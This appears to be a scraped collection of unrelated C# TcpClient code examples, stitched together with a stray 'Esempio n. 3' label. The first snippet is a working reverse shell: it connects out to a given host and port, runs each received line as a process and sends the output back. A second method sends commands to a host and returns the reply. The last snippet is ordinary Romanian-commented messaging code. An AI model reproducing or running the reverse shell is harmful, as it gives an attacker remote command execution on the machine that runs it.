public static void Main(string[] args)
        {
            Stream stream = new TcpClient (args [0], int.Parse (args [1])).GetStream ();
            using (StreamReader rdr = new StreamReader(stream)) {
                while (stream.CanRead) {
                    string cmd = rdr.ReadLine();
                    string filename = string.Empty;
                    string arg = string.Empty;

                    if (cmd.IndexOf(' ') > 0) {
                        filename = cmd.Substring(0, cmd.IndexOf(' '));
                        arg = cmd.Substring(cmd.IndexOf(' '), cmd.Length - filename.Length);
                    } else {
                        filename = cmd;
                    }

                    Process prc = new Process();
                    prc.StartInfo = new ProcessStartInfo();
                    prc.StartInfo.FileName = filename;
                    prc.StartInfo.Arguments = arg;
                    prc.StartInfo.UseShellExecute = false;
                    prc.StartInfo.RedirectStandardOutput = true;
                    prc.Start();
                    prc.WaitForExit();

                    byte[] results = Encoding.ASCII.GetBytes(prc.StandardOutput.ReadToEnd());
                    stream.Write(results, 0, results.Length);
                }
            }
        }
        public string Execute(string command)
        {
            string resp = string.Empty;
            using (NetworkStream stream = new TcpClient(_host, _port).GetStream()) {
                byte[] data = System.Text.Encoding.ASCII.GetBytes(command);
                stream.Write(data, 0, data.Length);

                using (StreamReader rdr = new StreamReader(stream))
                    resp = rdr.ReadToEnd();
            }

            return resp;
        }
Esempio n. 3
0
        /// <summary>
        ///   Trimite mesajul către adresa menţionată şi returnează răspunsul.
        /// </summary>
        /// <param name="to">Adresa spre care să trimită mesajul</param>
        /// <returns>Mesajul răspuns primit înapoi</returns>
        public Message deliverAndWaitFeedback(Address to)
        {
            try {

                byte[] stream = this.serialize();

                NetworkStream netStream = new TcpClient(to.ip, to.port).GetStream();

                netStream.Write(stream, 0, stream.Length);

                netStream.Flush();

                Message answer = new Message(netStream);

                netStream.Close();

                return answer;
            }
            catch (Exception) {

                return null;
            }
        }